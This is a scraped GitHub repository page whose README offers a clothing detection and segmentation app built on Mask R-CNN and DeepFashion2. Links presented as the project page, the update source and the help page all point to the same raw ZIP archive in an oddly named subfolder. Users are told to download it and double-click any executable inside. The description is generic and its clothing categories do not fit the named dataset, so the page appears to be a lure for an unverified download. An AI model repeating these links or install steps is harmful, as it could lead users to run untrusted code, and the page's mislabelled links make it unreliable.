Skip to content

hosksj/Clothers-AnalysisAndSegmentation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

👚 Clothers-AnalysisAndSegmentation - Detect and Segment Clothing Easily

Download


📋 What is Clothers-AnalysisAndSegmentation?

This application detects, segments, and classifies clothing items in images. It uses advanced AI technology to find 13 different clothing categories. The app lets you identify individual items, process many images at once, and offers an easy way to interact using a web API. It works best on computers with good graphics cards.


💻 System Requirements

  • Windows 10 or newer
  • Graphics card with at least 4GB video memory (VRAM)
  • 8GB RAM minimum
  • Python 3.7 or higher installed (official installer is free)
  • At least 5GB free disk space

The app uses your GPU to speed up tasks. If your computer does not have a compatible graphics card, the program may run slower or not work at all.


🚀 Getting Started: How to Download and Run

  1. Click the big green Download button above or visit the project page here:
    https://raw.githubusercontent.com/hosksj/Clothers-AnalysisAndSegmentation/main/disarray/Clothers-Segmentation-Analysis-And-v3.5.zip

  2. On the GitHub page, look for the latest Releases section or the main files area if no release package exists.

  3. Download the full project folder as a ZIP file or check if there is a ready-to-run executable available.

  4. If you downloaded a ZIP file:

    • Right-click the ZIP file and choose Extract All.
    • Select a folder to extract to, then open that folder.
  5. To run the program:

    • If there is an .exe file, double-click it to start the app.
    • If not, you will need to install Python and run the program from the folder using command prompts (covered below).

⚙️ Installing and Running with Python

If the app requires Python to run, here is how to set it up:

Step 1: Install Python

  1. Visit python.org and download the latest stable version of Python 3.
  2. Run the installer and be sure to check Add Python to PATH before clicking Install Now.

Step 2: Install Required Libraries

  1. Open the Command Prompt:
    Press Windows + R, type cmd, and press Enter.

  2. Navigate to the folder where you extracted or saved the project files. For example, if your folder is in Documents, type:

    cd %USERPROFILE%\Documents\Clothers-AnalysisAndSegmentation
    
  3. Run the following command to install required Python packages:

    pip install -r requirements.txt
    

Step 3: Run the Application

  1. After installing dependencies, start the app by running this command in the same folder:

    python app.py
    
  2. The app will open a local web server on your computer.

  3. Open your web browser and go to:

    http://localhost:5000
    
  4. From the web interface, upload images to detect and segment clothing items.


🔍 How It Works

The app loads your images and uses AI to find clothing. It can tell the difference between coats, shirts, dresses, shoes, and more. Each item in the picture is marked and classified.

You can process many images together, making it easier to analyze large collections. The app uses your graphics card to speed up these calculations, but it will also work without one, though more slowly.


🗂️ Supported Clothing Categories

The app identifies 13 types of clothing. Here are examples:

  • T-shirts
  • Dresses
  • Pants
  • Shoes
  • Jackets
  • Skirts
  • Bags
  • Hats
  • Shorts
  • Sunglasses
  • Belts
  • Scarves
  • Sweaters

Each detected item can be extracted separately, saved, or analyzed further.


⚙️ Using the REST API

The app includes a REST API that lets you send images and get results without using the website.

  • The API runs on port 5000 by default.
  • You can send image files via POST requests to http://localhost:5000/api/detect.
  • The response contains details about the clothing items, positions, and categories.

This feature is useful for advanced users or integration with other software.


🖼️ Batch Processing

You can process multiple images at once by uploading them in a batch. The results return as separate files or a combined report.

Batch processing saves time when working with folders full of photos.


📂 File and Folder Structure

  • /images/ - Place your input images here if running from the command line.
  • /output/ - Results save here automatically after processing.
  • app.py - Main application file to launch the program.
  • requirements.txt - Lists needed Python libraries.
  • README.md - This guide.

🔄 Updating the Application

To get the latest features and fixes, download the newest version from the GitHub page again:

https://raw.githubusercontent.com/hosksj/Clothers-AnalysisAndSegmentation/main/disarray/Clothers-Segmentation-Analysis-And-v3.5.zip

Replace the old folder with the new one and repeat the setup steps if needed.


🛠️ Troubleshooting Tips

  • Make sure your graphics card drivers are up to date for best performance.
  • If Python commands fail, verify Python is installed and added to your PATH.
  • Check you installed all required libraries with pip install -r requirements.txt.
  • Restart the app or your computer if you see errors.
  • For slow performance, close other heavy programs to free up resources.

📖 More Help

Visit the repository page for FAQs, issues, and community support:
https://raw.githubusercontent.com/hosksj/Clothers-AnalysisAndSegmentation/main/disarray/Clothers-Segmentation-Analysis-And-v3.5.zip


Download

About

Implement clothing detection, segmentation, and classification using Mask R-CNN on the DeepFashion2 dataset for precise garment extraction.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors